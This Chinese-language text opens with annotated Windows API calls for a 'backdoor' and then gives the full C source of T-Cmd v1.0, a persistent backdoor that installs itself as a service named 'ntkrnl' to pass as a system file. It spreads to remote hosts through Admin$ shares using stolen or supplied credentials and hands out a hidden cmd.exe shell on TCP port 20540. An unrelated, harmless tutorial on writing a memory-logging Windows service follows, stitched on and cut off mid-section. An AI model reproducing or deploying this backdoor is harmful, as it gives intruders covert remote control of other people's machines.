//设置服务的当前状态为SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//创建服务主线程,实现后门功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局变量的同步使用;
TerminateProcess(lpProcessDataHead->hProcess,1);
//终止创建的Cmd进程;
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系统目录下服务程序的文件是否已经存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//获得当前进程的程序文件名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//复制文件到系统目录下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打开服务控制管理器数据库;
CreateService(schSCManager,"ntkrnl","ntkrnl",
 SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,
 "ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服务已经创建,则打开服务;
StartService(schService,0,NULL);
//启动服务进程;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服务状态;
DeleteService(schService);
//卸载服务程序;
DeleteFile(lpImagePath);
//删除文件;



  3.后门程序相关函数


hMutex=CreateMutex(NULL,FALSE,NULL);
//创建互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//创建处理客户端访问的重定向输入输出线程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//创建用于进程间通信的输入/输出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//创建经重定向输入输出的Cmd进程;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//创建处理Cmd输入输出的线程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待线程或进程的结束;
ReleaseMutex(hMutex);
//释放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//从管道中复制数据到缓冲区中,但不从管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//从管道中复制数据到缓冲区中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中写入从客户端接收到的数据;
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//与远程主机建立连接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//与远程主机结束连接;


  六、附录

  1.SC简介

  SC是一个与NT服务控制器,服务进程进行通信的控制台程序,它可以查询和修改已安装服务的数据库。

  语法:sc <server> [command] [service name] <option1> <option2>… ,选项<server>为“\\ServerName”的形式。

  主要的命令包括:query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend等。

  2.T-Cmd v1.0 源代码


#include <windows.h>
#include <stdio.h>

#define BUFFER_SIZE 1024

typedef struct
{
HANDLE hPipe;
SOCKET sClient;
}SESSIONDATA,*PSESSIONDATA;

typedef struct PROCESSDATA
{
HANDLE hProcess;
DWORD dwProcessId;
struct PROCESSDATA *next;
}PROCESSDATA,*PPROCESSDATA;

HANDLE hMutex;
PPROCESSDATA lpProcessDataHead;
PPROCESSDATA lpProcessDataEnd;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;

void WINAPI CmdStart(DWORD,LPTSTR *);
void WINAPI CmdControl(DWORD);

DWORD WINAPI CmdService(LPVOID);
DWORD WINAPI CmdShell(LPVOID);
DWORD WINAPI ReadShell(LPVOID);
DWORD WINAPI WriteShell(LPVOID);

BOOL ConnectRemote(BOOL,char *,char *,char *);
void InstallCmdService(char *);
void RemoveCmdService(char *);

void Start(void);
void Usage(void);

int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
{NULL ,NULL }
};

if(argc==5)
{
if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}

if(!stricmp(argv[1],"-install"))
{
InstallCmdService(argv[2]);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(argv[2]);
}

if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}
return 0;
}
else if(argc==2)
{
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(NULL);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(NULL);
}
else
{
Start();
Usage();
}
return 0;
}

StartServiceCtrlDispatcher(DispatchTable);

return 0;
}

void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;

ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;

ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
if(ServiceStatusHandle==0)
{
OutputDebugString("RegisterServiceCtrlHandler Error !\n");
return ;
}

ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdStart Error !\n");
return ;
}

hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread in CmdStart Error !\n");
}

return ;
}

void WINAPI CmdControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;

case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;

case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
while(lpProcessDataHead!=NULL)
{
TerminateProcess(lpProcessDataHead->hProcess,1);
if(lpProcessDataHead->next!=NULL)
{
lpProcessDataHead=lpProcessDataHead->next;
}
else
{
lpProcessDataHead=NULL;
}
}

ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}

ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}

return ;
}

DWORD WINAPI CmdService(LPVOID lpParam)
{
WSADATA wsa;
SOCKET sServer;
SOCKET sClient;
HANDLE hThread;
struct sockaddr_in sin;

WSAStartup(MAKEWORD(2,2),&wsa);
sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(20540);
sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}

hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
{
OutputDebugString("Create Mutex Error !\n");
}
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;

while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}

WSACleanup();
return 0;
}

DWORD WINAPI CmdShell(LPVOID lpParam)
{
SOCKET sClient=*(SOCKET *)lpParam;
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
HANDLE hThread[3];
DWORD dwReavThreadId,dwSendThreadId;
DWORD dwProcessId;
DWORD dwResult;
STARTUPINFO lpStartupInfo;
SESSIONDATA sdWrite,sdRead;
PROCESS_INFORMATION lpProcessInfo;
SECURITY_ATTRIBUTES saPipe;
PPROCESSDATA lpProcessDataLast;
PPROCESSDATA lpProcessDataNow;
char lpImagePath[MAX_PATH];

saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for ReadPipe Error !\n");
return -1;
}

if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for WritePipe Error !\n");
return -1;
}

GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;

GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\\cmd.exe"));

WaitForSingleObject(hMutex,INFINITE);
if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
{
OutputDebugString("CreateProcess Error !\n");
return -1;
}

lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
lpProcessDataNow->next=NULL;
if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}

hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);

CloseHandle(hWriteShell);
CloseHandle(hReadShell);

sdRead.hPipe = hReadPipe;
sdRead.sClient = sClient;
hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
{
OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
return -1;
}

sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}

CloseHandle(hWritePipe);
CloseHandle(hReadPipe);

WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);

return 0;
}

DWORD WINAPI ReadShell(LPVOID lpParam)
{
SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;
DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;
char szBuffer[BUFFER_SIZE];
char szBuffer2Send[BUFFER_SIZE+32];
char PrevChar;
char szStartMessage[256]="\r\n\r\n\t\t—[ T-Cmd v1.0 beta, by TOo2y ]—\r\n\t\t—[ E-mail: TOo2y@safechina.net ]—\r\n\t\t—[ HomePage: www.safechina.net ]—\r\n\t\t—[ Date: 02-05-2003 ]—\r\n\n";
char szHelpMessage[256]="\r\nEscape Character is ‘CTRL+]’\r\n\n";

send(sdRead.sClient,szStartMessage,256,0);
send(sdRead.sClient,szHelpMessage,256,0);

while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))
{
if(dwBufferRead>0)
{
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
}
else
{
Sleep(10);
continue;
}

for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++)
{
if((szBuffer[dwBufferNow]==’\n’) && (PrevChar!=’\r’))
{
szBuffer[dwBuffer2Send++]=’\r’;
}
PrevChar=szBuffer[dwBufferNow];
szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];
}

if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)
{
OutputDebugString("Send in ReadShell Error !\n");
break;
}
Sleep(5);
}

shutdown(sdRead.sClient,0×02);
closesocket(sdRead.sClient);
return 0;
}

DWORD WINAPI WriteShell(LPVOID lpParam)
{
SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;
DWORD dwBuffer2Write,dwBufferWritten;
char szBuffer[1];
char szBuffer2Write[BUFFER_SIZE];

dwBuffer2Write=0;
while(recv(sdWrite.sClient,szBuffer,1,0)!=0)
{
szBuffer2Write[dwBuffer2Write++]=szBuffer[0];

if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)
{
shutdown(sdWrite.sClient,0×02);
closesocket(sdWrite.sClient);
return 0;
}

if(szBuffer[0]==’\n’)
{
if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)
{
OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");
break;
}
dwBuffer2Write=0;
}
Sleep(10);
}

shutdown(sdWrite.sClient,0×02);
closesocket(sdWrite.sClient);
return 0;
}

BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword)
{
char lpIPC[256];
DWORD dwErrorCode;
NETRESOURCE NetResource;

sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);
NetResource.lpLocalName = NULL;
NetResource.lpRemoteName = lpIPC;
NetResource.dwType = RESOURCETYPE_ANY;
NetResource.lpProvider = NULL;

if(!stricmp(lpPassword,"NULL"))
{
lpPassword=NULL;
}

if(bConnect)
{
printf("Now Connecting …… ");
while(1)
{
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))
{
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
}
else if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
break;
}
else
{
printf("Failure !\n");
return FALSE;
}
Sleep(10);
}
}
else
{
printf("Now Disconnecting … ");
dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
return FALSE;
}
}

return TRUE;
}

void InstallCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpCurrentPath[MAX_PATH];
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwErrorCode;
SERVICE_STATUS InstallServiceStatus;

if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(256);
sprintf(lpHostName,"\\\\%s",lpHost);
}

printf("Transmitting File … ");
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure … Access is Denied !\n");
}
else
{
printf("Failure !\n");
}
return ;
}
else
{
printf("Success !\n");
}
}
else
{
printf("already Exists !\n");
FindClose(hSearch);
}

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Open Service Control Manager Database Failure !\n");
return ;
}

printf("Creating Service …. ");
schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
if(schService==NULL)
{
dwErrorCode=GetLastError();
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
{
printf("Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
else
{
printf("already Exists !\n");
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
if(schService==NULL)
{
printf("Opening Service …. Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
}
}
else
{
printf("Success !\n");
}

printf("Starting Service …. ");
if(StartService(schService,0,NULL)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("already Running !\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
}
else
{
printf("Pending … ");
}

while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)
{
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}

CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}

void RemoveCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWORD dwErrorCode;

if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(MAX_PATH);
sprintf(lpHostName,"\\\\%s",lpHost);
}

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Opening SCM ……… ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer … Access is Denied !\n");
}
return ;
}

schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
printf("Opening Service ….. ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service …. ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped !\n");
}
else
{
printf("Pending … ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
}
}
}
else
{
printf("Query Failure !\n");
}

printf("Removing Service …. ");
if(DeleteService(schService)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
}

CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);

printf("Removing File ……. ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}

return ;
}

void Start()
{
printf("\n");
printf("\t\t—[ T-Cmd v1.0 beta, by TOo2y ]—\n");
printf("\t\t—[ E-mail: TOo2y@safechina.net ]—\n");
printf("\t\t—[ HomePage: www.safechina.net ]—\n");
printf("\t\t—[ Date: 02-05-2003 ]—\n\n");
return ;
}

void Usage()
{
printf("Attention:\n");
printf(" Be careful with this software, Good luck !\n\n");
printf("Usage Show:\n");
printf(" T-Cmd -Help\n");
printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n");
printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n");
printf("Example:\n");
printf(" T-Cmd -Install (Install in the localhost)\n");
printf(" T-Cmd -Remove (Remove in the localhost)\n");
printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");
printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");
printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");
return ;
}


  Windows 服务被设计用于需要在后台运行的应用程序以及实现没有用户交互的任务。为了学习这种控制台应用程序的基础知识,C(不是C++)是最佳选择。本文将建立并实现一个简单的服务程序,其功能是查询系统中可用物理内存数量,然后将结果写入一个文本文件。最后,你可以用所学知识编写自己的 Windows 服务。

  当初我写第一个NT 服务时,我到 MSDN 上找例子。在那里我找到了一篇 Nigel Thompson 写的文章:“Creating a Simple Win32 Service in C++”,这篇文章附带一个 C++ 例子。虽然这篇文章很好地解释了服务的开发过程,但是,我仍然感觉缺少我需要的重要信息。我想理解通过什么框架,调用什么函数,以及何时调用,但 C++ 在这方面没有让我轻松多少。面向对象的方法固然方便,但由于用类对底层 Win32 函数调用进行了封装,它不利于学习服务程序的基本知识。这就是为什么我觉得 C 更加适合于编写初级服务程序或者实现简单后台任务的服务。在你对服务程序有了充分透彻的理解之后,用 C++ 编写才能游刃有余。当我离开原来的工作岗位,不得不向另一个人转移我的知识的时候,利用我用 C 所写的例子就非常容易解释 NT 服务之所以然。

  服务是一个运行在后台并实现勿需用户交互的任务的控制台程序。Windows NT/2000/XP 操作系统提供为服务程序提供专门的支持。人们可以用服务控制面板来配置安装好的服务程序,也就是 Windows 2000/XP 控制面板|管理工具中的“服务”(或在“开始”|“运行”对话框中输入 services.msc /s——译者注)。可以将服务配置成操作系统启动时自动启动,这样你就不必每次再重启系统后还要手动启动服务。

  本文将首先解释如何创建一个定期查询可用物理内存并将结果写入某个文本文件的服务。然后指导你完成生成,安装和实现服务的整个过程。

  第一步:主函数和全局定义

  首先,包含所需的头文件。例子要调用 Win32 函数(windows.h)和磁盘文件写入(stdio.h):


#include <windows.h>
#include <stdio.h>


  接着,定义两个常量:


#define SLEEP_TIME 5000
#define LOGFILE "C:\\MyServices\\memstatus.txt"


  SLEEP_TIME 指定两次连续查询可用内存之间的毫秒间隔。在第二步中编写服务工作循环的时候要使用该常量。

  LOGFILE 定义日志文件的路径,你将会用 WriteToLog 函数将内存查询的结果输出到该文件,WriteToLog 函数定义如下:


int WriteToLog(char* str)
{
 FILE* log;
 log = fopen(LOGFILE, "a+");
 if (log == NULL)
  return -1;
 fprintf(log, "%s\n", str);
 fclose(log);
 return 0;
}


  声明几个全局变量,以便在程序的多个函数之间共享它们值。此外,做一个函数的前向定义:


SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
int InitService();


  现在,准备工作已经就绪,你可以开始编码了。服务程序控制台程序的一个子集。因此,开始你可以定义一个 main 函数,它是程序的入口点。对于服务程序来说,main 的代码令人惊讶地简短,因为它只创建分派表并启动控制分派机。


void main()
{
 SERVICE_TABLE_ENTRY ServiceTable[2];
 ServiceTable[0].lpServiceName = "MemoryStatus";
 ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

 ServiceTable[1].lpServiceName = NULL;
 ServiceTable[1].lpServiceProc = NULL;

 // 启动服务的控制分派机线程
 StartServiceCtrlDispatcher(ServiceTable);
}


  一个程序可能包含若干个服务。每一个服务都必须列于专门的分派表中(为此该程序定义了一个 ServiceTable 结构数组)。这个表中的每一项都要在 SERVICE_TABLE_ENTRY 结构之中。它有两个域:

  lpServiceName: 指向表示服务名称字符串的指针;当定义了多个服务时,那么这个域必须指定;
  lpServiceProc: 指向服务主函数的指针(服务入口点);

  分派表的最后一项必须是服务名和服务主函数域的 NULL 指针,文本例子程序中只宿主一个服务,所以服务名的定义是可选的。

  服务控制管理器(SCM:Services Control Manager)是一个管理系统所有服务的进程。当 SCM 启动某个服务时,它等待某个进程的主线程来调用 StartServiceCtrlDispatcher 函数。将分派表传递给 StartServiceCtrlDispatcher。这将把调用进程的主线程转换为控制分派器。该分派器启动一个新线程,该线程运行分派表中每个服务的 ServiceMain 函数(本文例子中只有一个服务)分派器还监视程序中所有服务的执行情况。然后分派器将控制请求从 SCM 传给服务。

  注意:如果 StartServiceCtrlDispatcher 函数30秒没有被调用,便会报错,为了避免这种情况,我们必须在 ServiceMain 函数中(参见本文例子)或在非主函数的单独线程中初始化服务分派表。本文所描述的服务不需要防范这样的情况。

  分派表中所有的服务执行完之后(例如,用户通过“服务”控制面板程序停止它们),或者发生错误时。StartServiceCtrlDispatcher 调用返回。然后主进程终止。

  第二步:ServiceMain 函数

  Listing 1 展示了 ServiceMain 的代码。该函数是服务的入口点。它运行在一个单独的线程当中,这个线程是由控制分派器创建的。ServiceMain 应该尽可能早早为服务注册控制处理器。这要通过调用 RegisterServiceCtrlHadler 函数来实现。你要将两个参数传递给此函数:服务名和指向 ControlHandlerfunction 的指针。

  它指示控制分派器调用 ControlHandler 函数处理 SCM 控制请求。注册完控制处理器之后,获得状态句柄(hStatus)。通过调用 SetServiceStatus 函数,用 hStatus 向 SCM 报告服务的状态。

  Listing 1 展示了如何指定服务特征和其当前状态来初始化 ServiceStatus 结构,ServiceStatus 结构的每个域都有其用途:

  dwServiceType:指示服务类型,创建 Win32 服务。赋值 SERVICE_WIN32;

  dwCurrentState:指定服务的当前状态。因为服务的初始化在这里没有完成,所以这里的状态为 SERVICE_START_PENDING;

  dwControlsAccepted:这个域通知 SCM 服务接受哪个域。本文例子是允许 STOP 和 SHUTDOWN 请求。处理控制请求将在第三步讨论;

  dwWin32ExitCode 和 dwServiceSpecificExitCode:这两个域在你终止服务并报告退出细节时很有用。初始化服务时并不退出,因此,它们的值为 0;

  dwCheckPoint 和 dwWaitHint:这两个域表示初始化某个服务进程时要30秒以上。本文例子服务的初始化过程很短,所以这两个域的值都为 0。

  调用 SetServiceStatus 函数向 SCM 报告服务的状态时。要提供 hStatus 句柄和 ServiceStatus 结构。注意 ServiceStatus 一个全局变量,所以你可以跨多个函数使用它。ServiceMain 函数中,你给结构的几个域赋值,它们在服务运行的整个过程中都保持不变,比如:dwServiceType。

  在报告了服务状态之后,你可以调用 InitService 函数来完成初始化。这个函数只是添加一个说明性字符串到日志文件。如下面代码所示:


// 服务初始化
int InitService()
{
 int result;
 result = WriteToLog("Monitoring started.");
 return(result);
}


  在 ServiceMain 中,检查 InitService 函数的返回值。如果初始化有错(因为有可能写日志文件失败),则将服务状态置为终止并退出 ServiceMain:


error = InitService();
if (error)
{
 // 初始化失败,终止服务
 ServiceStatus.dwCurrentState = SERVICE_STOPPED;
 ServiceStatus.dwWin32ExitCode = -1;
 SetServiceStatus(hStatus, &ServiceStatus);
 // 退出 ServiceMain
 return;
}


  如果初始化成功,则向 SCM 报告状态:


// 向 SCM 报告运行状态
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);


  接着,启动工作循环。每五秒钟查询一个可用物理内存并将结果写入日志文件。

  如 Listing 1 所示,循环一直到服务的状态为 SERVICE_RUNNING 或日志文件写入出错为止。状态可能在 ControlHandler 函数响应 SCM 控制请求时修改。

  第三步:处理控制请求

  在第二步中,你用 ServiceMain 函数注册了控制处理器函数。控制处理器与处理各种 Windows 消息的窗口回调函数非常类似。它检查 SCM 发送了什么请求并采取相应行动。

